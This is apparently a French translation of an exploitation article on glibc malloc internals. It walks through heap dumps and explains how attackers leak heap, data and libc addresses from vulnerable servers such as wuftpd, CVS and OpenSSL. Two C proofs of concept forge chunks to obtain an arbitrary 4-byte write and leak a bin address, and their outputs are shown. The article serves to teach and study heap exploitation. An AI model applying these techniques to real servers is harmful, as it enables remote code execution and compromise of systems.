chunk     0x80496a0 0x0109 (A)
chunk     0x80497a8 0x0859 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x80497a8 - top size = 0x0858

--- HEAP LAYOUT ---
|A||A||T|

Un nouveau chunk est alloué depuis l'espace restant au top chunk. La même
chose se produit avec les prochains appels malloc().


6               moe = malloc(256);

[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264)
    returning 0x80497a8 from top chunk
    new top 0x80498b0 size 0x751

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0109 (A)
chunk     0x80497a8 0x0109 (A)
chunk     0x80498b0 0x0751 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x80498b0 - top size = 0x0750

--- HEAP LAYOUT ---
|A||A||A||T|



7               po = malloc(256);

[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264)
    returning 0x80498b0 from top chunk
    new top 0x80499b8 size 0x649
 
--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0109 (A)
chunk     0x80497a8 0x0109 (A)
chunk     0x80498b0 0x0109 (A)
chunk     0x80499b8 0x0649 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x80499b8 - top size = 0x0648

--- HEAP LAYOUT ---
|A||A||A||A||T|



8               lala = malloc(256);

[1679] MALLOC(256) - CHUNK_ALLOC(0x40018040,264)
    returning 0x80499b8 from top chunk
    new top 0x8049ac0 size 0x541

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0109 (A)
chunk     0x80497a8 0x0109 (A)
chunk     0x80498b0 0x0109 (A)
chunk     0x80499b8 0x0109 (A)
chunk     0x8049ac0 0x0541 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540

--- HEAP LAYOUT ---
|A||A||A||A||A||T|



9               free(larry);
[1679] FREE(0x80496a8) - CHUNK_FREE(0x40018040,0x80496a0)
    fronlink(0x80496a0,264,33,0x40018148,0x40018148) new free chunk

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0109 (F) | 0x40018148 | 0x40018148 | (LC)
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0109 (A)
chunk     0x80499b8 0x0109 (A)
chunk     0x8049ac0 0x0541 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
   bin 33 @ 0x40018148
      free_chunk @ 0x80496a0 - size 0x0108

--- HEAP LAYOUT ---
|A||33||A||A||A||T|

Un chunk est libéré. La macro frontlink() est appelée pour insérer le
nouveau chnuk libre dans le bin correspondant :

frontlink(ar_ptr, new_free_chunk, size, bin_index, bck, fwd);

Notez que le paramètre d'adresse de zone (ar_ptr) a été omis dans la
sortie. Dans ce cas, le chunk 0x80496a0 a été inséré dans le bin numéro 33
selon sa taille. Comme ce chunk est le seul dans son bin (nous pouvons le
vérifier dans la sortie de bin_dump() ), c'est un chunk seul (LC) ["lonely
chunk"] (nous verrosn plus tard qu'être seul le rend dangereux ...), ses
pointeurs bk et fd sont égaux et pointent sur le bin numéro 33.
Dans la sortie de heap_layout(), le nouveau chunk libre est représenté par
le numéro du bin où il est situé.



10              free(po);

[1679] FREE(0x80498b8) - CHUNK_FREE(0x40018040,0x80498b0)
    fronlink(0x80498b0,264,33,0x40018148,0x80496a0) new free chunk

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0109 (F) | 0x40018148 | 0x080498b0 |
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0109 (F) | 0x080496a0 | 0x40018148 |
chunk     0x80499b8 0x0108 (A)
chunk     0x8049ac0 0x0541 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
   bin 33 @ 0x40018148
      free_chunk @ 0x80496a0 - size 0x0108
      free_chunk @ 0x80498b0 - size 0x0108

--- HEAP LAYOUT ---
|A||33||A||33||A||T|

A présent, nous avons deux chunks libres dans le bin numéro 33. Nous
pouvons maintenant apprécier comment la liste doublement reliée est
construite. Le pointeur forward du chunk à 0x80498b0 pointe sur l'autre
chunk dans la liste, le pointeur backward pointe sur la tête de la lite, le
bin.
Notez qu'il n'y a plus un chunk seul. Donc, nous pouvons voir la différence
entre une adresse de heap et une adresse de libc (l'adresse du bin),
0x080496a0 et 0x40018148 respectivement.



11              tw = malloc(128);

[1679] MALLOC(128) - CHUNK_ALLOC(0x40018040,136)
    unlink(0x80496a0,0x80498b0,0x40018148) from big bin 33 chunk 1 (split)
    new last_remainder 0x8049728

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0089 (A)
chunk     0x8049728 0x0081 (F) | 0x40018048 | 0x40018048 | (LR)
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0109 (F) | 0x40018148 | 0x40018148 | (LC)
chunk     0x80499b8 0x0108 (A)
chunk     0x8049ac0 0x0541 (T)
sbrk_end  0x804a000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
   bin 1 @ 0x40018048
      free_chunk @ 0x8049728 - size 0x0080
   bin 33 @ 0x40018148
      free_chunk @ 0x80498b0 - size 0x0108

--- HEAP LAYOUT ---
|A||A||L||A||33||A||T|

Dans ce cas, la taille demandée pour la nouvelle allocation est plus petite
que la taille du chunk disponible. Donc, le premier tampon libéré est pris
depuis le bin avec la macro unlink() et divisé. La première partie est
allouée, l'espace libre restant est appelé le "dernier reste", qui est
toujours stocké dans le premier bin, comme nous pouvons le voir dans la
sortie de bin_dump().
Dans la sortie de heap_layout(), le chunk "dernier reste" est représenté
avec un L ; dans la sortie de heap_dump(), (LR) est utilisé.



12              piniata = malloc(128);

[1679] MALLOC(128) - CHUNK_ALLOC(0x40018040,136)
    clearing last_remainder
    frontlink(0x8049728,128,16,0x400180c0,0x400180c0) last_remainder
    unlink(0x80498b0,0x40018148,0x40018148) from big bin 33 chunk 1 (split)
    new last_remainder 0x8049938

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0089 (A)
chunk     0x8049728 0x0081 (F) | 0x400180c0 | 0x400180c0 | (LC)
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0089 (A)
chunk     0x8049938 0x0081 (F) | 0x40018048 | 0x40018048 | (LR)
chunk     0x80499b8 0x0108 (A)
chunk     0x8049ac0 0x0541 (T)
sbrk_end  0x804a000
$25 = void

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
   bin 1 @ 0x40018048
      free_chunk @ 0x8049938 - size 0x0080
   bin 16 @ 0x400180c0
      free_chunk @ 0x8049728 - size 0x0080


--- HEAP LAYOUT ---
|A||A||16||A||A||L||A||T|

Comme la taille de last_remainder n'est pas assez pour l'allocation
demandée, le dernier reste est nettoyé et inséré comme un nouveau chunk
libre dans le bin correspondant. Après, l'autre chunk libre est pris depuis
son bin et divisé comme à l'étape précédente.



13              dipsi = malloc(1500);

[1679] MALLOC(1500) - CHUNK_ALLOC(0x40018040,1504)
    clearing last_remainder
    frontlink(0x8049938,128,16,0x400180c0,0x8049728) last_remainder
    extended top chunk: 
        previous size 0x540
        new top 0x804a0a0 size 0xf61
        returning 0x8049ac0 from top chunk

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0089 (A)
chunk     0x8049728 0x0081 (F) | 0x400180c0 | 0x08049938 |
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0089 (A)
chunk     0x8049938 0x0081 (F) | 0x08049728 | 0x400180c0 |
chunk     0x80499b8 0x0108 (A)
chunk     0x8049ac0 0x05e1 (A)
chunk     0x804a0a0 0x0f61 (T)
sbrk_end  0x804b000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x804a0a0 - top size = 0x0f60
   bin 16 @ 0x400180c0
      free_chunk @ 0x8049728 - size 0x0080
      free_chunk @ 0x8049938 - size 0x0080

--- HEAP LAYOUT ---
|A||A||16||A||A||16||A||A||T|

Comme aucun chunk libre n'est suffisant pour la taille d'allocation
demandée, le top chunk a encore été étendu.



14              free(dipsi);

[1679] FREE(0x8049ac8) - CHUNK_FREE(0x40018040,0x8049ac0)
    merging with top
    new top 0x8049ac0

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0089 (A)
chunk     0x8049728 0x0081 (F) | 0x400180c0 | 0x08049938 |
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0089 (A)
chunk     0x8049938 0x0081 (F) | 0x 8049728 | 0x400180c0 |
chunk     0x80499b8 0x0108 (A)
chunk     0x8049ac0 0x1541 (T)
sbrk_end  0x804b000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x1540
   bin 16 @ 0x400180c0
      free_chunk @ 0x8049728 - size 0x0080
      free_chunk @ 0x8049938 - size 0x0080

--- HEAP LAYOUT ---
|A||A||16||A||A||16||A||T|

Le chunk juste après le top chunk est libéré, donc il est uni avec, et
n'est pas inséré dans un bin.



15              free(lala);

[1679] FREE(0x80499c0) - CHUNK_FREE(0x40018040,0x80499b8)
    unlink(0x8049938,0x400180c0,0x8049728) for back consolidation
    merging with top
    new top 0x8049938

--- HEAP DUMP ---
            ADDRESS   SIZE               FD           BK
sbrk_base 0x8049598
chunk     0x8049598 0x0109 (A)
chunk     0x80496a0 0x0089 (A)
chunk     0x8049728 0x0081 (F) | 0x400180c0 | 0x400180c0 | (LC)
chunk     0x80497a8 0x0108 (A)
chunk     0x80498b0 0x0089 (A)
chunk     0x8049938 0x16c9 (T)
sbrk_end  0x804b000

--- BIN DUMP ---
arena @ 0x40018040 - top @ 0x8049938 - top size = 0x16c8
   bin 16 @ 0x400180c0
      free_chunk @ 0x8049728 - size 0x0080

--- HEAP LAYOUT ---
|A||A||16||A||A||T|

Encore, mais cette fois également le chunk avant le chunk libéré est uni,
comme il était déjà libre.

---------------------------------------------------------------------------
--] 4.3 - Reset de l'agencement - Prédiction de l'agencement initial
        - modèle du serveur

Dans cette section, nous analysons comment des scénarios différents
pourraient avoir un impact sur le proseccus d'exploitation.
Dans le cas de serveurs étant redémarrés, il pourrait être utile de causer
un "heap reset", ce qui siginfie crasher le processus en question pour
obtenir un agencement initial propre et connu de la heap.
La nouvelle heap qui est construite en même temps que le nouveau processus
redémarré est dans son "agencement initial". Ceci ce réfère à l'état
initial de la heap après l'initialisation du processus, avant de recevoir
des entrées en provenace de l'utilisateur/utilisatrice. L'agencement
initial de la heap peut être facilement prédit et utilisé comme point de
départ connu pour la prédiction de l'évolution de l'agencement de la heap,
au lieu d'utiliser un agencement non-vierge résultant de plusieurs
modifications faites pendant le service aux requêtes des clients. Cet
agencement initial pourrait ne pas trop varier entre des versions
différentes du serveur ciblé, mais dans le cas de modifications majeures
dans le code source.
Un problème vraiment relatif à l'analyse de l'agencement de la heap est le
type de processus étant exploité.
Dans le cas de processus servant plusieurs clients, la prédiction de
l'évolution de l'agencement de la heap est plus difficile, car pouvant être
influencé par les autres clients qui pourraient interagir avec notre
serveur cible alors que nous tentons de l'exploiter. Cependant, cela se
révèle utile dans le cas où l'interaction entre le serveur et le client est
très restreinte, car cela permet à l'attaquant(e) d'ouvrir de multiples
connexions pour affecter le même processus avec l'entrée de commandes
différentes.
D'un autre côté, exploiter un serveur qui construit un processus par client
(i.e. un serveur forké) est plus simple, aussi longtemps que nous pouvons
prédire avec précision l'agencement initial de la heap et que nous somme
capables de peupler la mémoire du processus de façon totalement contrôlée.
C'est évident, un serveur qui n'est pas redémarré ne nous laisse qu'un seul
essai pour, par exemple, bruteforcer et/ou un "heap reset" ne peut être
appliqué.

[NDT : Bon je viens de tomber sur ceci, extrait de "Langage C -
Programmation Windows et Linux" (Editions Micro Applications - Grand Livre,
2000), page 325 : (Chapitre 7 - Classes de mémorisation) :
"Le heap (tas) est une zone de mémoire libre qu'on peut occuper en cours de
programme. Cela permet une gestion dynamique de la mémoire. En d'autres
termes, on n'est pas toujours obligé de conférer aux données, via les
définitions, des tailles figées (statiques). On peut, au contraire, les
créer en cours de programme, et adapter en permanance leurs dimensions aux
exigeances du moment (cf. chapitre Pointeurs)."
Mouarf, je recopierai bien tout le paragraphe ("Segments de programme"),
mais bon c'est un peu hors sujet, donc je vous invite à aller jeter un
oeuil dans le bouquin.
J'ai trouvé également un bon truc dans l'aide de Dev-C++ (oui bon je sais
, y'a mieux comme référence ;-)]

---------------------------------------------------------------------------

--] 4.4 Obtenir des informations du processus distant

[NDT : Muse - Origin of Symmetry / Showbiz / Absolution]

L'idée derrière les techniques dans cette section est de forcer un serveur
distant de nous donner de l'information pour nous aider à trouver les
localisations de mémoire dont nous avons besoin pour l'exploitation.
Ce concept a déjà été utilisé comme différents mécanismes dans le papier
"Bypassing PaX ASLR" [13], utilisé pour contourner les processus d'adresse
mémoire randomizée.
L'idée fut suggérée dans [4], comme "transformant une primitive d'écriture
en une primitive de lecture".

[NDT : Ces deux articles sont extraits du Phrack #59, dont la traduction
est prévue. Enjoy ! :-)]

--] 4.4.1 Modifier les données statiques du serveur
          - trouver le DATA du processus

Cette technique a été vue à l'origine dans les exploits wuftpd ~{. Quand le
processus ftpd reçoit une requête "help", il répond avec toutes les
commandes disponibles. Celles-ci sont stockées dans un tableau qui est une
partie du DATA du processus, étant une structure statique. L'attaquant(e)
tente de réécrire une partie de la structure  en utilisant la commande
"help" jusqu'à ce qu'il/elle voie un changement dans la réponse du serveur.

A présent l'attaquant(e) connaît une adresse absolue à l'intérieur du DATA
du processus, et est capable de prédire la localisation le GOT du
processus.

--] 4.4.2 Modifier l'entrée de l'utilisateur
          - trouver la localisation du shellcode

La technique suivante permet à l'attaquant(e) de trouver la localisation
exacte du code injecté dans l'espace d'adressage du processus, étant
indépendant du processus cible.
Pour obtenir l'adresse, l'attaquant(e) donne au processus de fausses
données, qui sont stockées dans une partie du processus. Après, la
technique de base est employée, tentant d'écrire 4 octets à l'endroit où
les fausses données étaient précedemment stockées. Après ceci, le serveur
est forcé de répondre en utlisant les fausses données fournies.
Si les données rejouées diffèrent des originales envoyées (prenant en
compte toute information que le serveur pourrait modifier sur notre
entrée), nous pouvons être certains que la prochaine fois que nous
enverrons la même séquence en entrée au serveur, elle sera stockée à la
même place. La réponse du serveur pourrait être tronquée si une fonction
attendant NULL comme terminaison de chaîne est utilisée pour le ruser, ou
pour obtenir la taille de la réponse avant de l'envoyer à travers le
réseau. En fait, l'entrée fournie pourrait être stockée plusieurs fois à
différants endroits, nous ne détecterons une modification que lorsque nous
toucherons l'endroit où la réponse du serveur est rusée.
Notez que nous sommes capables de tenter deux adresse différentes à chaque
connexion, augmentant la vitesse du mécanisme de force brute.
La principale condition requise pour utiliser ce trick est d'être en mesure
de déclencher la primitive aa4bmo entre l'instant où les données fournies
sont stockées et l'instant où la réponse du serveur est construite. La
compréhension du comportement du processus d'allocation, incluant comment
est traîtée chaque commande d'entrée disponible est requise.

--] 4.4.2.1 Preuve de concept 3 : percuter la sortie

Le code suivant simule un processus qui nous fournit une primitive aa4bmo
pour essayer de trouver où se situe un tampon de sortie de heap alloué
[heap allocated output buffer] :

#include <stdio.h>
#define SZ           256
#define SOMEOFFSET   5 + (rand() % (SZ-1))
#define PREV_INUSE   1
#define IS_MMAP      2
#define OUTPUTSZ     1024

void aa4bmoPrimitive(unsigned long what, unsigned long where){
   unsigned long *unlinkMe=(unsigned long*)malloc(SZ*sizeof(unsigned long));
   int i = 0;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = what;
   unlinkMe[i++] = where-8;
   for(;i<SZ;i++){
      unlinkMe[i] = ((-(i-1) * 4) & ~IS_MMAP) | PREV_INUSE ;
   }
   free(unlinkMe+SOMEOFFSET);
   return;
}

int main(int argc, char **argv){
   long where;
   char *output;
   int contador,i;

   printf("## OUTPUT hide and seek ##\n\n");
   output = (char*)malloc(OUTPUTSZ);
   memset(output,'O',OUTPUTSZ);

   for(contador=1;argv[contador]!=NULL;contador++){
      where = strtol(argv[contador], (char **)NULL, 16);
        printf("[.] trying %p\n",where);

      aa4bmoPrimitive(where,where);

      for(i=0;i<OUTPUTSZ;i++)
         if(output[i] != 'O'){
            printf("(!) you found the output @ %p :(\n",where);
            printf("[%s]\n",output);
            return 0;
         }
      printf("(-) output was not @ %p :P\n",where);
   }
   printf("(x) did not find the output <:|\n");
}


LD_PRELOAD=./heapy.so ./hitOutput 0x8049ccc 0x80498b8 0x8049cd0 0x8049cd4
0x8049cd8 0x8049cdc 0x80498c8 > output

## OUTPUT hide and seek ##

[.] trying 0x8049ccc
(-) output was not @ 0x8049ccc :P
[.] trying 0x80498b8
(-) output was not @ 0x80498b8 :P
[.] trying 0x8049cd0
(-) output was not @ 0x8049cd0 :P
[.] trying 0x8049cd4
(-) output was not @ 0x8049cd4 :P
[.] trying 0x8049cd8
(-) output was not @ 0x8049cd8 :P
[.] trying 0x8049cdc
(-) output was not @ 0x8049cdc :P
[.] trying 0x80498c8
(!) you found the output @ 0x80498c8 :(
[OOOOOOOOÈ~X^D^HÈ~X^D^HOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
...
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO]

Notez la sortie tamponnée dans le hexdump suivant :
...
7920 756f 6620 756f 646e 7420 6568 6f20
7475 7570 2074 2040 7830 3038 3934 6338
2038 283a 5b0a 4f4f 4f4f 4f4f 4f4f 98c8   <==
0804 98c8 0804 4f4f 4f4f 4f4f 4f4f 4f4f   <==
4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f
4f4f 4f4f 4f4f 0a5d


Ce mécanisme de force brute n'est pas complètement précis dans certains
cas, par exemple lorsque le serveur cible utilise un arrangement de
tamporisation de la sortie.
Pour perfectionner la technique, nous pourrions peut-être marquer une
partie des données fournies comme shellcode réel, et l'autre comme des
nops, ayant besoin que la partie nop soit atteinte durant la force brute
pour éviter d'obtenir une adresse au milieu de notre shellcode. Et même
mieux, nous pourrions marquer chaque quatre octets avec un offset masqué
(i.e; pour éviter le caractère \x00), lorsque nous analysons la réponse
nous obtenons à présent l'offset attendu dans le shellcode, donc nous
sommes capables dans un second essai de voir si notre shellcode est
actuellement stocké dans cette adresse attendue, détectant et évitant de ce
fait le risque que notre entrée soit séparée et stockée séparément dans le
heap.

Par exemple, dans l'exploit double free "Directory" de CVS [7], des
commandes non-reconnues (i.e. "cucucucucu") sont utilisées pour peupler le
heap du serveur. Le serveur ne répond pas, il stocke juste les données
fournies dans le heap, et attends, jusqu'à ce qu'un noop ou une commande
soit reçue. Après cela, la commande non-reconnue qui a été envoyée est
ré-envoyée sans aucune modification au client. Nous pouvons donner au
serveur des données sans presque aucune restriction de taille, ces données
sont stockées dans le heap, jusqu'à ce que nous les forçons à nous être
rejouées. Cependant, en analysant  comment notre commande non-reconnue est
stockée dans la heap où nous l'avons trouvée, au lieu de ce qui est attendu
(un chunk de mémoire seul avec nos données), il y a d'autres structures
mélangées avec notre entrée :

--- HEAP DUMP ---
            ADDRESS    SIZE               FD           BK
[...]
chunk     0x80e9998 0x00661 (F) | 0x40018e48 | 0x40018e48 |
chunk     0x80e9ff8 0x10008 (A)
chunk     0x80fa000 0x00ff9 (F) | 0x40018ed0 | 0x0810b000 |
chunk     0x80faff8 0x10008 (A)
chunk     0x810b000 0x00ff9 (F) | 0x080fa000 | 0x0811c000 |
chunk     0x810bff8 0x10008 (A)
chunk     0x813e000 0x04001 (T)
sbrk_end  0x8142000

Ceci se produit parce que les messages d'erreur sont mis en tampons quand
ils sont générés, attendant d'être effacés, des structures internes d'état
des tampons^sont allouées, et nos données sont séparées et stockées dans
des tampons d'erreur de taille fixe.

--] 4.4.3 Modifier les entrées de l'utilisateur
          - trouver les données de la libc

Dans cette situation, nous pouvons fournir des entrées au serveur
vulnérable qui nous sont ré-envoyées en sortie. Par exemple, dans la faille
double free "Directory" de CVS, nous donnons le serveur et la commande
invalide, qui est finalement rendue en écho en expliquant que c'était une
comande invalide.
Si nous sommes capables de forcer un appel à free(), sur une adresse
pointant vers quelque part au milieu de notre entrée fournie, avant qu'elle
ne soir renvoyée au client, nous sommes capables d'obtenir l'adresse d'un
main_arena d'un bin. La capacité de forcer un free() pointant sur l'entrée
que nous avons fournie dépend du scénario de l'exploitation, puyisqu'il est
simple d'atteindre ceci dans les situations de "double-free".
Lorsque le serveur libère notre entrée, il trouve un chunk de très grosse
taille, alors il le relie au premier chunk (chunk seul) du bin. Ceci dépend
principalement du processus de l'agencement du heap, mais selon ce que nous
sommes en train d'exploiter il devbrait être facile de prédire quelle
taille nous aurions besoin pour créer le nouveau chunk libre pour qu'il
soit seul.
Quand frontlink() met en place le nouveau chunk libre, il sauvegarde
l'adresse du bin dans les pointeurs fw et bk du bin du chunk, ceci étant ce
qui nous permettra plus tard d'obtenir l'adresse du bin.
Notez que nous devrions faire attention avec notre chunk d'entrée, pour
éviter que le processus ne crashe pendant la libération de notre chunk,
mais ceci est très simple dans la plupart des cas, i.e. en fournissant une
adresse connue à côté de la fin de la pile.

L'utilisateur/utilisatrice fournit comme entrée un "chunk rempart" au
procesus cible. free() est appelée dans une quelconque part de notre
entrée, donc notre chunk spécialement construit est inséré dans l'un des
derniers bins (nous savons peut-être qu'il est vide par l'étape d'analyse
du heap, évitant ensuite un crash du processus). Lorsque le chunk rempart
fournit est inséré dans le bin, l'adresse du bin est écrite dans les champs
fd et bk de l'en-tête du chunk.

--] 4.4.3.1 Preuve de concept 4 : libérer la sortie

Le code suivant crée un "chunk rempart" comme il serait envoyé au serveur,
et appelle free() à un endroit au hasard dans le chunk (comme le serveur
cible le ferait).
Le chunk rempart écrit à une adresse valide pour éviter un crash du
processus, et ses pointeurs backward et forward sont renseignés avec
l'adresse du bin par la macro frontlink().
Après, le code cherche les adresses voulues dans la sortie, comme le ferait
un exploit qui aurait reçu la réponse du serveur.


#include <stdio.h>
#define SZ           256
#define SOMEOFFSET   5 + (rand() % (SZ-1))
#define PREV_INUSE   1
#define IS_MMAP      2

unsigned long *aa4bmoPrimitive(unsigned long what, unsigned long where){
   unsigned long *unlinkMe=(unsigned long*)malloc(SZ*sizeof(unsigned long));
   int i = 0;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = what;
   unlinkMe[i++] = where-8;
   for(;i<SZ;i++){
      unlinkMe[i] = ((-(i-1) * 4) & ~IS_MMAP) | PREV_INUSE ;
   }
   printf ("(-) calling free() at random address of output buffer...\n");
   free(unlinkMe+SOMEOFFSET);
   return unlinkMe;
}

int main(int argc, char **argv){
   unsigned long *output;
   int i;

   printf("## FREEING THE OUTPUT PoC ##\n\n");
   printf("(-) creating output buffer...\n");
   output = aa4bmoPrimitive(0xbfffffc0,0xbfffffc4);
   printf("(-) looking for bin address...\n");
   for(i=0;i<SZ-1;i++)
      if(output[i] == output[i+1] && 
       ((output[i] & 0xffff0000) != 0xffff0000)) {
         printf("(!) found bin address -> %p\n",output[i]);
         return 0;
      }
   printf("(x) did not find bin address\n");
}


./freeOutput

## FREEING THE OUTPUT PoC ##

(-) creating output buffer...
(-) calling free() at random address of output buffer...
(-) looking for bin address...
(!) found bin address -> 0x4212b1dc

Nous obtenons un chunk libre avec notre tampon fournit :

chunk_free (ar_ptr=0x40018040, p=0x8049ab0) at heapy.c:3221
(gdb) x/20x p
0x8049ab0:      0xfffffd6d      0xfffffd69      0xfffffd65      0xfffffd61
0x8049ac0:      0xfffffd5d      0xfffffd59      0xfffffd55      0xfffffd51
0x8049ad0:      0xfffffd4d      0xfffffd49      0xfffffd45      0xfffffd41
0x8049ae0:      0xfffffd3d      0xfffffd39      0xfffffd35      0xfffffd31
0x8049af0:      0xfffffd2d      0xfffffd29      0xfffffd25      0xfffffd21
(gdb)
0x8049b00:      0xfffffd1d      0xfffffd19      0xfffffd15      0xfffffd11
0x8049b10:      0xfffffd0d      0xfffffd09      0xfffffd05      0xfffffd01
0x8049b20:      0xfffffcfd      0xfffffcf9      0xfffffcf5      0xfffffcf1
0x8049b30:      0xfffffced      0xfffffce9      0xfffffce5      0xfffffce1
0x8049b40:      0xfffffcdd      0xfffffcd9      0xfffffcd5      0xfffffcd1
(gdb)
0x8049b50:      0xfffffccd      0xfffffcc9      0xfffffcc5      0xfffffcc1
0x8049b60:      0xfffffcbd      0xfffffcb9      0xfffffcb5      0xfffffcb1
0x8049b70:      0xfffffcad      0xfffffca9      0xfffffca5      0xfffffca1
0x8049b80:      0xfffffc9d      0xfffffc99      0xfffffc95      0xfffffc91
0x8049b90:      0xfffffc8d      0xfffffc89      0xfffffc85      0xfffffc81
(gdb)

3236      next = chunk_at_offset(p, sz);
3237      nextsz = chunksize(next);
3239      if (next == top(ar_ptr)) /* merge with top */
3278      islr = 0;
3280      if (!(hd & PREV_INUSE))  /* consolidate backward */
3294      if (!(inuse_bit_at_offset(next, nextsz)))   
            /* consolidate forward */
3296        sz += nextsz;
3298        if (!islr && next->fd == last_remainder(ar_ptr))
3306          unlink(next, bck, fwd);
3315      set_head(p, sz | PREV_INUSE);
3316      next->prev_size = sz;
3317      if (!islr) {
3318        frontlink(ar_ptr, p, sz, idx, bck, fwd);

Après que la macro frontlink() ait été appelée avec notre tampon fournit,
elle obtiens l'adresse du bin dans lequel il est inséré :

(gdb) x/20x p

0x8049ab0:      0xfffffd6d      0xfffffd65      0x40018430      0x40018430
0x8049ac0:      0xfffffd5d      0xfffffd59      0xfffffd55      0xfffffd51
0x8049ad0:      0xfffffd4d      0xfffffd49      0xfffffd45      0xfffffd41
0x8049ae0:      0xfffffd3d      0xfffffd39      0xfffffd35      0xfffffd31
0x8049af0:      0xfffffd2d      0xfffffd29      0xfffffd25      0xfffffd21

(gdb) c
Continuing.
(-) looking for bin address...
(!) found bin address -> 0x40018430

Vérifions l'adresse que nous avons obtenue :

(gdb) x/20x 0x40018430
0x40018430 <main_arena+1008>:   0x40018428      0x40018428      0x08049ab0
0x08049ab0
0x40018440 <main_arena+1024>:   0x40018438      0x40018438      0x40018040
0x000007f0
0x40018450 <main_arena+1040>:   0x00000001      0x00000000      0x00000001
0x0000016a
0x40018460 <__FRAME_END__+12>:  0x0000000c      0x00001238      0x0000000d
0x0000423c
0x40018470 <__FRAME_END__+28>:  0x00000004      0x00000094      0x00000005
0x4001370c

Et nous voyons que c'est l'un des derniers bins de main_arena.

Bien que dans cet exemple nous atteignons le chunk rempart au premier
essai, cette technique peut être appliquée en même temps pour faire le
brute force de l'endroit où se trouve notre sortie (si nous ne le savons
pas auparavant).


--] 4.4.4 Faille basée sur la fuite de mémoire de la heap
          - trouver les données de la libc

Dans ce cas, la faille elle-même mène à une fuite de la mémoire du
processus.
Par exemple, dans la faille "SSLv2 Malformed Client Key Buffer Overflow" de
OpenSSL [6], l'attaquant(e) est capable de déborder un tampon et de
réécrire une variable utilisée pour traquer une taille de tampon.
Lorsque cette taille est réécrite, avec une taille plus grande que
l'originale, le processus envoie le contenu du tampon (stocké dans le heap
du processus) au client, envoyant plus d'information que stocké à
l'origine. L'attaquant(e) obtient ensuite une portion limitée du heap du
processus.

---------------------------------------------------------------------------
--] 4.5 Mauvais traitements sur les informations qui ont fuit

Le but des techniques dans cette section est d'exploiter les informations
collectées en utilisant l'un des tricks de fuite d'information de processus
vus précédemment.

--] 4.5.1 Reconnaître la zone

L'idée est d'obtenir des informations collectées précedemment l'adresse
d'un bin malloc. Ceci s'applique principalement aux scénarios où nous
sommes capables de fuiter la mémoire du heap du processus. L'adresse d'un
bin peut être obtenue directement si l'attaquant(e) peut utiliser la
technique "libérer la sortie".
L'adresse de bin obtenue peut être utilisée plus tard pour trouver
l'adresse d'un pointeur sur fonction à réécrire avec l'adresse de notre
shellcode, comme vu dans les techiques suivantes.

En se souvenant comment les bins sont organisés en mémoire (doubles listes
liées circulaires), nous savons qu'un chunk accroché à un bin contenant
juste un chunk aura les deux pointeurs (bk et fd) pointant vers la tête de
la liste, vers la même adresse, car la liste est circulaire.

   [bin_n]          (premier chunk)
      ptr]  ---->  [<- chunk ->] [<- chunk ->] [<-  fd
                           [    chunk
      ptr]  ---->  [<- chunk ->] [<- chunk ->] [<-  bk
   [bin_n+1]        (dernier chunk)

     .
     .
     .

   [bin_X]
      ptr] ---->  [<-  fd
                  [    chunk seul mais intéressant
      ptr] ---->  [<-  bk
     .
     .

C'est réellement joli, car ça nous autorise à reconnaître dans le heap
quelle adresse pointe vers un bin, situé plus exactement dans l'espace
d'adressage de la libc, quelque part dans le main_arena car cette tête de
liste des bin est située dans le main_arena.

Ensuite, nous pouvons chercher après deux adresses mémoire égales, l'une
après l'autre, pointant vers la mémoire de la libc (chercher après des
adresses de la forme 0x4....... est suffisant dans notre but). Nous pouvons
